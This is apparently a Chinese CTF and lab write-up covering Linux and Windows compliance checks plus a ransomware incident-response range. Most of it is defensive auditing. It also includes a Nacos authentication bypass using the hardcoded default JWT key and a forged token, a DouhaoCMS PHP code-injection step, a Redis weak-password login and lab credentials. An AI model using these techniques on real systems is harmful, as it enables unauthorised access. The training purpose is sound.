步骤二：查看相应文件，设置的密码到期规则是多少按照flag{提醒时间-最大时间}进行提交
为了遵守安全合规性，在登录配置文件中，设置了密码最长与最短使用时间，包括提前多少天提醒用户更新密码设置。
cat /etc/login.defs
可以在Password aging controls中查看并配置用户的密码过期规则：
| 参数 | 默认值 | 示例值 | 含义 | 对用户的影响 |
|---|---|---|---|---|
PASS_MAX_DAYS |
99999 | 99999 | 密码的最长有效期（单位：天）。 默认值 99999 约为 273年，表示密码几乎永不过期。 |
用户无需定期修改密码。 （若设置为 30，则密码每 30 天必须修改一次） |
PASS_MIN_DAYS |
0 | 0 | 两次密码修改之间的最短间隔（单位：天）。 0 表示允许用户立即修改密码。 |
用户修改密码后，可以立刻再次修改。 （若设置为 7，则需等待 7 天才能再次修改） |
PASS_WARN_AGE |
7 | 7 | 密码过期前的警告天数。 用户会在密码到期前 7 天收到警告提示。 |
用户登录时会被提醒密码即将过期，需及时修改。 |
步骤三：已安装ssh，请提交当前SSH版本
为防止在远程传输过程中被窃听等行为，需查看相应端口和服务，如SSH，telnet等
ssh -V
版本为OpenSSH_8.9p1
步骤四：对passwd及shadow文件权限分配进行权限值提交并提交是否合规如：644+true
为了实现对用户权限的访问控制，一般限制配置文件权限分配不超过644，可执行文件不超过755
ls -l /etc/passwd /etc/shadow
-rwxr-xr-x即755，不合规
步骤五：结合相关知识检查在系统中存在可疑用户，进行提交用户名,多个用户名以+号连接
此处应急响应的时候也可以用到，主要查看在用户家目录，root家目录，以及passwd和shadow文件的可疑用户和字段：
cat /etc/passwd | grep /home
一步步排查，先排查可登录用户（yunwei、wangwei），再排查用户的权限：
发现用户yunwei和wangwei具有root权限，我们可以找到相关人员核实
步骤六：结合相关知识，对没有进行权限分离的用户进行提交
前面我们已知存在的用户，并且对可疑权限的普通用户进行了查询并验证，此处我们继续延申，对于没有进行权限分离的用户查询:
cat /etc/sudoers
这说明zhangsan具有所有程序sudo运行的权限，需要核实其是否具有这种权限。
这有助于管理用户最小权限，实现权限分离。
步骤七：结合相关知识，提交审计日志功能状态
对于日志审计功能，我们要求必须开启，且日志需要保留至少6个月以上，此处我们查询syslog是否开启：
systemctl status syslog
功能状态Active下显示active(running)
步骤八：审计相关日志，查看zhangsan用户尝试使用sudo但登录失败的日志，提交其时间，如flag
分析auth.log日志文件：
cat /var/log/auth.log|grep zhangsan
Jun 23 01:04:09 dengbap useradd[10697]: new group: name=zhangsan, GID=1006
Jun 23 01:04:09 dengbap useradd[10697]: new user: name=zhangsan, UID=1004, GID=1006, home=/home/zhangsan, shell=/bin/sh, from=/dev/pts/2
Jun 23 01:04:20 dengbap passwd[10787]: pam_unix(passwd:chauthtok): password changed for zhangsan
Jun 23 01:17:01 dengbap CRON[19582]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Jun 23 01:17:01 dengbap CRON[19582]: pam_unix(cron:session): session closed for user root
Jun 23 01:38:08 dengbap su: (to zhangsan) root on pts/2
Jun 23 01:38:08 dengbap su: pam_unix(su:session): session opened for user zhangsan(uid=1004) by dengbao(uid=0)
Jun 23 01:38:20 dengbap sudo: pam_unix(sudo:auth): authentication failure; logname=dengbao uid=1004 euid=0 tty=/dev/pts/2 ruser=zhangsan rhost= user=zhangsan
Jun 23 01:38:27 dengbap su: pam_unix(su:session): session closed for user zhangsan
| 时间 | 行为类型 | 涉及用户 | 详细信息 | 结果/状态 | 潜在风险说明 |
|---|---|---|---|---|---|
| Jun 23 01:04:09 | 用户创建 | root (隐式) |
创建新用户 zhangsan，UID=1004，GID=1006，主目录 /home/zhangsan，Shell /bin/sh。 |
成功 | 正常操作，但需确认是否由授权管理员执行。 |
| Jun 23 01:04:20 | 密码修改 | zhangsan |
用户 zhangsan 的密码被修改（可能是初始化密码）。 |
成功 | 正常操作，但需检查密码强度是否符合策略。 |
| Jun 23 01:17:01 | Cron任务执行 | root |
Cron 计划任务以 root 身份执行（会话开启并立即关闭）。 |
成功 | 常见于系统定时任务，需确认任务内容是否合法。 |
| Jun 23 01:38:08 | 用户切换 (su) |
dengbao → zhangsan |
用户 dengbao（UID=0，可能是 root）切换到 zhangsan（UID=1004）。 |
成功 | - 若 dengbao 是管理员，操作用于权限降级，属正常行为。 - 若非授权切换，可能存在提权风险。 |
| Jun 23 01:38:20 | Sudo认证失败 | zhangsan |
用户 zhangsan 尝试执行 sudo 但认证失败（可能是密码错误或无权使用 sudo）。 |
失败 | - 若 zhangsan 未被授权使用 sudo，属安全配置正常。 - 若应为授权用户，需检查 sudoers 配置或密码泄露风险。 |
| Jun 23 01:38:27 | 会话关闭 | zhangsan |
zhangsan 的 su 会话被关闭。 |
正常退出 | 正常操作，无风险。 |
步骤九：结合相关合规知识，提交相关系统内核版本
需确认当前系统内核版本是否为最新或版本是否存在漏洞:
uname -a
查看到内核版本，是否存在漏洞自行搜集
内核版本为5.15.0-112-generic
步骤十：对开启的端口排查，结合应急响应知识，对开放的相关恶意端口进行提交
分析开放的端口：
netstat -lntp
已知8090和9080为小皮面板，PHP study搭建，WEB服务直接登录PHP study
输入命令：xp，然后输入6查看到面板信息，根据给到的账号密码登录进行排查
看到5566端口相应WEB目录下/www/admin/hacker/index.php文件存在一句话木马执行，执行前会检查UA，不是对应UA则不执行：
步骤十一：已知相应的WEB恶意端口，提交其隐藏文件中flag
其中.hacker.php文件是隐藏文件，因此其构造的参数的值为flag
步骤十二：结合相关知识，提交MySQL存在空口令风险的用户名，多个用户名已+连接
连接上数据库，查询：
select user,authentication_string from mysql.user
步骤十三：结合相关知识，对MySQL密码复杂度查询到的最小长度进行提交
应等保合规性要求，密码复杂度需要一定配置，默认情况下MySQL是没有装载相关插件的
装载方法：
INSTALL PLUGIN validate_password SONAME 'validate_password.so';（靶机已装载）
SHOW PLUGINS;
使用命令：
show variables like 'validate%';
密码最小长度为8
步骤十四：结合相关知识，对MySQL登录最大失败次数查询并提交
为了防止暴力破解及合规性要求，需设置密码错误次数后冻结等操作
装载方法：
INSTALL PLUGIN CONNECTION_CONTROL SONAME 'connection_control.so';（靶机已装载）
SELECT PLUGIN_NAME, PLUGIN_STATUS FROM INFORMATION_SCHEMA.PLUGINS WHERE PLUGIN_NAME = 'CONNECTION_CONTROL';
使用命令：
show variables like '%connection_control%';
步骤十五：结合相关知识，对MySQL超时返回最大时常进行提交(秒为单位)
为防止远程连接超时，连接时长时间不操作及可能被窃取会话可能，包括合规性检查，我们需设置并检查超时最大时间容忍上限
使用命令：
show variables like "%timeout%";
步骤十六：结合相关知识，对MySQL锁定用户数量进行提交
为了对合规性满足要求，以及是否在运维本身不知情的情况下，MySQL某些用户存在开启状态，从而可能造成危害：
select user,account_locked from mysql.user;
account_locked 字段值为 Y 的用户表示该账户已被锁定，无法用于登录数据库。
步骤十七：提交MySQL全局日志状态 OFF或ON
应对合规性要求，相关日志功能需要开启且日志需保留至少6个月，需要检查相关功能是否开启且正常
show global variables like "%general%";
步骤十八：提交当前MySQL数据库版本
因为使用的是docker搭建的，命令行查询需进入容器内部
docker ps
docker exec -it e7 bash
mysql --version
步骤十九：使用/root/fscan/fscan对本地进行扫描，对存在漏洞的端口进行提交，多个端口以+连接
漏洞扫描是等保测评的一部分，我们此处只进行模拟，在正常情况下，需使用国产承认漏扫设备或软件工具进行扫描出具报告，在系统中开启了相关的业务，但是由于开发的问题，未进行安全测试，直接搭建上线了
执行命令：
./fscan -h 127.0.0.1
看到扫描出存在漏洞的端口为8848/nacos服务以及6379/redis存在的弱口令——123456
（可以使用redis-cli -h 127.0.0.1 auth 123456登录redis）
步骤二十：根据找到其中的一个应用服务漏洞，提交数据中的flag
此处在正常渗透测试和漏洞挖掘过程有关联，在已知开放的端口且扫描出漏洞的情况下，需了解相关服务的作用，已知nacos存在权限绕过漏洞，我们利用此漏洞进行绕过
权限绕过因为它的key是写死的，默认key如下，访问https://jwt.io/
SecretKey012345678901234567890123456789012345678901234567890123456789
输入默认key，然后将以下payload输入至payload框中，时间戳需大于你当前时间 https://tool.lu/timestamp/
{
"sub": "nacos",
"exp": 1744725490
}
我这里生成了一个第二天的时间戳，然后替换到payload的exp中生成jwt编码
返回至nacos登录处，抓取登录请求包，并将响应包改为以下内容，其中accessToken为刚刚生成的jwt编码，接着一直放包，即可进入nacos系统，完成权限绕过漏洞：
HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NDcyNTQ5MH0.NYKlpqHuZPUKGIQkA302mg78WQJpbWHLjUFVsM1HEgE
Content-Type: application/json;charset=UTF-8
Date: Mon, 14 Apr 2025 14:05:02 GMT
Content-Length: 13
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NDcyNTQ5MH0.NYKlpqHuZPUKGIQkA302mg78WQJpbWHLjUFVsM1HEgE","tokenTtl":18000,"globalAdmin":true}
成功登录后台，在配置列表中的fff配置详情中找出flag：
步骤二十一：根据搭建服务端口12345进行渗透测试，提交命令执行的whoami回显包
相关漏洞分析文档：逗号CMS 5.05版本任意代码执行漏洞分析文档.docx - 蓝奏云
进入网站页面：
目录扫描：
从/admin.php进入后台，首先开启缓存，将缓存文件后缀改为.php：
发表文章，内容为<?php system(whoami); ?>，抓包，将恶意代码进行url编码绕过前端过滤：
将文章页面的.html改为.php即可：
应急响应-vulntarget-n-勒索病毒应急靶场
服务器场景操作系统 Linux
服务器账号密码 root Vulntarget@123
题目来源公众号 乌鸦安全
https://mp.weixin.qq.com/s/ZO-SXw5rvpLrjmcjcN9_6w
任务环境说明
客户在阿里云部署的业务环境
今天突然发现首页变成了一个勒索的界面，要求用户支付赎金以解密数据
客户发现其中部分重要文件被加密为.vulntarget结尾 随即客户要你进行应急响应并取证分析
具体要求如下：
分析攻击事件是如何发生的，请给出攻击画像
解密勒索
恢复原来的index.jsp页面，恢复正常的web服务
找到隐藏在其中的3个flag
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/ZO-SXw5rvpLrjmcjcN9_6w
参考文章：记一次应急响应靶场学习 | CTTalk 长亭合作伙伴技术社区、跟着网安药水哥来打靶场（应急响应-vulntarget-n-勒索病毒应急靶场） - FreeBuf网络安全行业门户
步骤一：flag1
使用镜像格式转换将原本的RAW格式转换成虚拟机的VMDK格式
convert -f raw -O vmdk .\vuln_m-j6cegcrhehdcba0r5h4v_system.raw vuln_m-j6cegcrhehdcba0r5h4v_system.vmdk
首先遇到这种应急响应题我们可以先使用history命令看看攻击者有没有留下什么痕迹
直接发现flag1
步骤二：flag2
继续分析history命令发现攻击者生成了加密公钥私钥且没有删除
通过find命令找到公钥和私钥地址：
find / -name pubkey.pem
由于上一个命令查找的是公钥，而私钥和公钥在同一目录当中:
通过history可以知道/opt/tomcat/webapps/ROOT/目录中存在公钥、加密脚本文件等（由于上一步已经知道公钥和私钥所以此时我们只需要查看加密的flag文件 即flag.jsp.vulntarget文件）
把公钥，私钥，加密的flag文件内容放到在线的rsa解密即可获取flag2
步骤三：flag3
由history可知该网站是基于Tomcat搭建而成而Tomcat的日志一般都在/opt/Tomcat/logs由于事件发生在2024.06.04所以我们只需要查看localhost_access_log.2024-06-04.txt这个即可
这日志也太多了直接使用 | grep flag 吧
攻击画像
通过日志和history我们可以发现攻击者上传了一个木马并且改名为404.jsp查看得知是一个小马
所以他的攻击路径是：
1攻击者通过tomcat的put漏洞上传了一个shell
2通过shell执行了命令
3通过shell拿到权限（该条暂时缺失，没有反弹shell）
4通过命令在受害者机器上生成了rsa的公私钥
5通过公钥对于关键数据进行了加密
6攻击者忘记删除了生成的公私钥
7通过执行命令将index.jsp文件替换为勒索界面
Tomcat的漏洞介绍：Windows上的Apache Tomcat如果开启PUT方法(默认关闭)，则存在此漏洞，攻击者可以利用该漏洞上传JSP文件，从而导致远程代码执行。
等保-windows等保
服务器场景操作系统 Windows
服务器账号密码 administrator 1Q2W3E4r
题目来源公众号 州弟学安全
https://mp.weixin.qq.com/s/mQp1SzxqCjfvLMWuN6QLUg
任务环境说明
等保测评是我国要求定性的基础必备网络安全知识，学起来简单基础，懂命令和理论，再加上背一些相关的知识法则，这类的岗位挺多的
如果说应急响应是被攻击后做的排查及溯源，那么等保测评则是在上线前做的安全配置，降低被攻击者拿下的概率，或后期提权的概率，等保测评是硬性要求
最小权限，最小组件原则
本次主机以Windows出发，后面模拟主机端口漏扫，模拟代码审计，及未公开漏洞渗透
全程模拟，请勿利用工具进行非法对外攻击，违者后果自负
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/mQp1SzxqCjfvLMWuN6QLUg
我下的虚拟机可能出了问题，直接上官方WP
步骤一：为了进行身份鉴别，登录安全，哪个扩展名称，直达强制用户输入账号密码？扩展名称以flag{xxx}提交 需完成：将要使用本计算机，用户必须输入用户名和密码 勾选
快捷键 WIN+R弹出(运行窗口)，输入netplwiz，打开'用户账户'页面，勾选下图选择框，此处还可以查看到有无其它可以用户及用户分配组：
当勾选，重启机器后可以看到需要输入密码以登录，点击下面的重置密码设置就行，无密码情况下，旧密码置空
答案：netplwiz
步骤二：哪个快捷名称可以查看到系统中存在的所有用户及用户组页面？快捷名称以flag{xxxx.msc}提交 需完成：创建一个名为 security用户，并设置为密码永不过期
快捷键 WIN+R弹出(运行窗口)，输入lusrmgr.msc，打开本地用户/组页面，默认情况下administrator和guest用户存在，guest默认禁用，此方法验证查看是否存在其它可疑用户
点击相关用户查看是否勾选密码永不过期及有无更改密码权限等，根据实际情况进行决定
答案：lusrmgr.msc
步骤三：哪个快捷名称用于直达安全策略页面来配置密码复杂度和其它复杂度，扩展名称以flag{xxx.msc}提交 需完成：设置阈值为5，超过锁定30分钟，并自行测试security用户
快捷键 WIN+R弹出(运行窗口)，输入secpol.msc，进入安全策略页面，页面中可对账户策略，防火墙策略，软件策略等进行配置，在账户身份模块中，对账户策略进行配置
默认密码复杂度已启用就是在设置密码时，匹配密码复杂度策略，防止弱口令爆破(最低6位字符，大写字母/小写字母/数字/特殊符号 四选三)
为了防止暴力破解(远程登录情况下字典爆破)，仍然是secpol.msc命令，查看账户锁定策略，默认不适用则为不开启，修改账户锁定阈值即可配置
此时打开远程桌面连接，我们对test用户爆破，看到超过三次后，账户被锁定
步骤四：如何快速配置远程桌面安全策略，请输入此命令完成以下配置，扩展名称以flag{xxx.msc}提交 需完成：将远程桌面安全层配置为RDP，将连接超时时间配置为20分钟
快捷键 WIN+R弹出(运行窗口)，输入gpedit.msc，进入计算机配置->管理模板->Windows组件->远程桌面服务->远程桌面会话主机->安全->远程连接要求使用安全层
点击已启用->选择安全层->确定 即自动保存，在实战中，根据情况进行相应配置，此处主要为了防止在远程传输过程中被明文监听
进入计算机配置->管理模板->Windows组件->远程桌面服务->远程桌面会话主机->连接->配置活动连接的时间间隔
点击已启用->输入活动时间间隔->确定 自动保存，实战中根据情况进行配置(需要注意的是,不同的Windows版本，可能文字描述不同，但是步骤一样，此处主要为了在远程传输过程中，远程会话长时间不操作，进行的预处理操作
步骤五：需要你对C:\sec\hahah.txt文件读取其中flag，flag以flag{xxx}提交 需完成：目前没有权限读取，请使用当前用户修改操作此目录权限并读取flag
安全原因，当前sec目录被拒绝了所有权限，所有用户都没有权限访问
右击sec目录，点击属性->安全->编辑->users组及administrators组->删除掉所有拒绝权限
目前是全部允许读取，再次访问sec文件夹后读取到flag，此步骤是等保中对用户权限的分配是否合理，不能多不能少，防止出现权限过大，越权，权限过小又影响正常业务
步骤六：哪个快捷名称打开管理用户页面并执行以下操作，扩展名称以flag{xxx.msc}提交 需完成：执行命令后删除你刚才创建的security用户
快捷键 WIN+R弹出(运行窗口)，输入lusrmgr.msc，打开本地用户/组页面，找到刚刚创建的security用户，右键删除
并查看有无其它共享账户，可疑账户，如点击账户->属性->隶属于 查看到用户在哪些组内，避免分配权限组不合理，造成普通用户权限过大
步骤七：找到本地策略中其中不合理权限策略，其策略中不合理用户名提交，名称以flag{xxx}提交 需知：在某条策略中，被写入了一个用户可控，这是十分危险的行为
应等保授予管理用户最小权限，实现权限分离，WIN+R输入secpol.msc，点击本地策略->用户权限分配->允许远程桌面登录服务(看到hacker$用户可远程登录)
实战中，权限的分配尤为重要，如被攻击，应急排查此处也是重中之重，可能因此会被写入隐藏用户，然后以此作为后门的一种方式
步骤八：哪个快捷名称可快速打开安全策略页面，扩展名称以flag{xxx.msc}提交 需完成：设置账户登录事件和系统事件进行设置为成功
快捷键 WIN+R弹出(运行窗口)，输入secpol.msc，打开安全策略->本地安全策略->审核策略(按照题目要求对账户安全登录事件和系统事件勾选成功)
勾选成功后，相关定向行为会被记录到Windows日志中
步骤九：通过Windows日志，查询hacker$用户创建时的事件ID进行提交，ID以flag{xxxx}提交
快捷键WIN+R输入eventvwr.msc，在Windows日志->安全->查找，输入关键字'hacker$'依次查找相关日志
此处不论对于前期确认日志配置是否生效，还是对后期应急响应都至关重要
步骤十：需要对Windows日志进行配置，它的日志文件名是?日志名以flag{xxxxx.xx}提交 需完成：将日志最大大小改为204800kb
快捷键WIN+R输入eventvwr.msc，在Windows日志->右侧属性->看到绝对路径
将其大小改为204800kb，然后从旧事件进行覆盖
等保要求日志需保存至少6个月，方便后期进行排查追溯等，具体以当时情况为准，是否覆盖按照要求修改
步骤十一：查看“管理审核和安全日志”策略项是否包含了与审计无关的用户组，用户组以flag{xxx&xxxx}提交 需完成：找到相关用户组进行提交
正常情况下，此策略默认只有Administrators用户组可控，主要考察了对于管理日志的权限，防止普通用户权限过大，导致被攻击后低用户高权限清除日志
WIN+R输入secpol.msc，点击本地策略->用户权限分配->管理审核和安全日志，查看到不应出现的用户组
步骤十二：应最小安装原则，哪个快捷名称打开组件查看页面，查看是否存在多余组件,快捷名称以flag{xxxx}提交
快捷键WIN+R输入dcomcnfg，在组件服务->计算机->我的电脑->COM+应用程序查看组件
步骤十三：查看多余服务及卸载相关服务应用的快捷名称是,快捷名称以flag{xxx.cpl}提交
WIN+R输入appwiz.cpl，看到当前系统中安装的所有服务，这个很常用，也方便后期进行排查和卸载
步骤十四：哪个快捷名称查看系统开启的所有服务并进行启停，快捷名称以flag{xxx.msc}提交 需完成：模拟对phone service进行启动
快捷键WIN+R输入services.msc，查看是否存在可疑或运维不清楚的服务，英文模式下输入首字母可快速定位，输入P定位到需要开启的 Phone service服务，右键点击启动
其实这里就相当于linux中的service phone.service start 动作，在正常使用过程中，进行排查进程服务是否异常，这里会用到
步骤十五：在Windows中开启了共享服务，请关闭名为php$的共享服务，提交关闭命令,命令以flag{xxx xxxx xxxx}提交
Windows默认开启139 445端口，而对外共享的目录是最薄弱的地方，打开cmd->输入命令 net share->查看开放共享目录
执行net share php$ /delete 再次查看共享服务，可看到php共享服务已关闭
如果说共享了一些高危目录，如WEB目录，再加上可能未验证的情况下，可能导致攻击者上传shell文件，从而getshell，如果说正常情况下不使用共享功能，可关闭掉相应端口
步骤十六：使用桌面/工具/fscan32.exe对本机进行漏洞扫描，端口以flag{xxxx&xxxx}提交 需完成：对扫描出的漏洞端口进行提交
fscan32目录下开启cmd，输入命令 fscan32.exe -h 127.0.0.1 -np，得到扫描的端口及存在的漏洞(如出现被系统查杀fscan，自行关闭病毒威胁与防护)
mysql数据库弱口令和redis未授权访问，所以答案为3306&6379，至于为什么不用其它主机漏扫，我用了goby和其它工具，发现误报率高，而且很慢
步骤十七：使用桌面/工具/D盾/D_Safe_Manage.exe对web源码进行扫描，密码以flag{xxxxxx}提交 需完成：将扫描出的shell连接密码作为flag提交 需知：web源码在C:\phpstudy_pro\WWW*
步骤十八：提交任意文件上传后的shell。执行命令whoami后，将结果上交 需知：漏洞为未公开，POC会放在文章，自行下载，结果以flag{xxxxxx\xxxx}提交
DedeBIZ存在任意文件上传漏洞
浙公网安备 33010602011771号